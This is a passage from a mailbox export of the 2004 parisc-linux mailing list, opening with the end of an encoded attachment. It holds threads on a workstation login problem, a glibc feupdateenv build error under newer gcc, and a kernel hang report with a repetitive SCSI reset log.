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


------=_NextPart_000_0014_00002B14.00006041--




From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Maybe OT: Login problem
Date: 01 Mar 2004 12:45:08 -0500
Organization: mkp.net
Lines: 18
Approved: news@gmane.org
Message-ID: <yq18yikmpgb.fsf@wilson.mkp.net>
References: <402B3DEB002BCA4F@mail4.bluewin.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623231 6222 80.91.229.3 (22 Nov 2014 02:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Oliver Fuhrer" <oliver.fuhrer@bluewin.ch>
Original-X-From: mkp@mkp.net  Mon Mar  1 10:50:12 2004
Return-Path: <mkp@mkp.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [192.139.46.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA7814852
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Mar 2004 10:50:12 -0700 (MST)
Original-Received: from rover.mkp.net ([209.217.122.9] helo=wilson.mkp.net)
	by jaguar.mkp.net with esmtp (Exim 3.35 #1)
	id 1AxrU4-0005ew-00; Mon, 01 Mar 2004 12:45:40 -0500
Original-Received: (from mkp@localhost)
	by wilson.mkp.net (8.11.6/8.11.6) id i21Hj8M23183;
	Mon, 1 Mar 2004 12:45:08 -0500
X-Authentication-Warning: wilson.mkp.net: mkp set sender to mkp@mkp.net using
	-f
Original-Sender: mkp@mkp.net
In-Reply-To: <402B3DEB002BCA4F@mail4.bluewin.ch> (added by
	postmaster@bluewin.ch)
Original-Lines: 17
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 01 Mar 2004 17:50:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20961

>>>>> "Oliver" == Oliver Fuhrer <oliver.fuhrer@bluewin.ch> writes:

Oliver> I'm having trouble to log in to my apollo 9000/705 workstation
Oliver> with debian 3. every time i log in, i have to change my
Oliver> password. No matter if i log in as root or as user.  I'v
Oliver> already reinstalled debian, but this problem persists.

Sounds like your system time is off.  Most likely your onboard battery
is dead.

Not sure whether replacements for 705 are easy to come by.  But if you
set the time at the PDC prompt before installing Debian, things should
work out better for you.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an error
	with gcc-3.5
Date: Mon, 1 Mar 2004 19:43:01 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <402A4CA50000CAEF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623231 6224 80.91.229.3 (22 Nov 2014 02:27:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:11 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon Mar  1 11:43:04 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DDA24852
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Mar 2004 11:43:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AxsNb-0002i5-00; Mon, 01 Mar 2004 19:43:03 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 1 Mar 2004 19:43:01 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 01 Mar 2004 18:43:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20962

Hi all,

As the title mail said, the following warning with gcc-3.3:
../sysdeps/hppa/fpu/feupdateenv.c: In function `feupdateenv':
../sysdeps/hppa/fpu/feupdateenv.c:31: warning: assignment of read-only member
`__status_word'

become an error with gcc-3.5:
../sysdeps/hppa/fpu/feupdateenv.c: In function `feupdateenv':
../sysdeps/hppa/fpu/feupdateenv.c:31: error: assignment of read-only member
`__status_word'
make[2]: *** [/Develop/parisc-linux/build/glibc/math/feupdateenv.o] Error
1
make[2]: Leaving directory `/Develop/parisc-linux/sources/glibc-2.3.3-20040301/math'
make[1]: *** [math/others] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/sources/glibc-2.3.3-20040301'
make: *** [all] Error 2

And regarding the definition of feupdateenv():
int
feupdateenv (const fenv_t *envp)
[snip]

I couldn't blame gcc.

So I would suggest to use sysdeps/mips/fpu/feupdateenv.c as model:
int
feupdateenv (const fenv_t *envp)
{
  int temp;

  /* Save current exceptions.  */
  _FPU_GETCW (temp);
  temp &= FE_ALL_EXCEPT;

  /* Install new environment.  */
  fesetenv (envp);

  /* Raise the safed exception.  Incidently for us the implementation
     defined format of the values in objects of type fexcept_t is the
     same as the ones specified using the FE_* constants.  */
  feraiseexcept (temp);

  /* Success.  */
  return 0;
}

but replacing:
 * 'int temp;' by 'fenv_t *temp;'
 * '_FPU_GETCW (temp);' by 'fegetenv(temp);' (as we don't have _FPU_GETCW()
)

But not sure it's the best solution.

Thanks in advance for all advise,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3: a warning with gcc-3.3 become an
	error with gcc-3.5
Date: Mon, 1 Mar 2004 14:38:17 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20040301193815.GG21769@baldric.uwo.ca>
References: <402A4CA50000CAEF@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623232 6226 80.91.229.3 (22 Nov 2014 02:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Mon Mar  1 12:40:09 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FEB94852
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Mar 2004 12:40:09 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AxtF3-0002JQ-00; Mon, 01 Mar 2004 14:38:17 -0500
Content-Disposition: inline
In-Reply-To: <402A4CA50000CAEF@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 01 Mar 2004 19:40:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20963

On Mon, Mar 01, 2004 at 07:43:01PM +0100, Joel Soete wrote:
> But not sure it's the best solution.
> Thanks in advance for all advise,

Show me a patch.

c.


From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stuck 2.6.3-pa2 kernel on 9000/a500
Date: Tue, 2 Mar 2004 00:00:04 +0100
Lines: 1329
Approved: news@gmane.org
Message-ID: <20040301230004.GH2502@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="C7zPtVaVf+AK4Oqc"
X-Trace: ger.gmane.org 1416623232 6229 80.91.229.3 (22 Nov 2014 02:27:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Mon Mar  1 16:00:19 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F2134890
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Mar 2004 16:00:16 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AxwOK-0002p9-BR
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Mar 2004 00:00:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 01 Mar 2004 23:00:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20964


--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I just noticed that nessler.debian.org hung. Complete serial console
logs and ser pim output are attached.

Kernel is 2.6.3-pa2 compiled using gcc 3.0.4 taken from ftp.p-a.o.

Wichert.


-- 
Wichert Akkerman <wichert@wiggy.net>    It is simple to make things.
http://www.wiggy.net/                   It is hard to make things simple.


--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=kernellog

sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
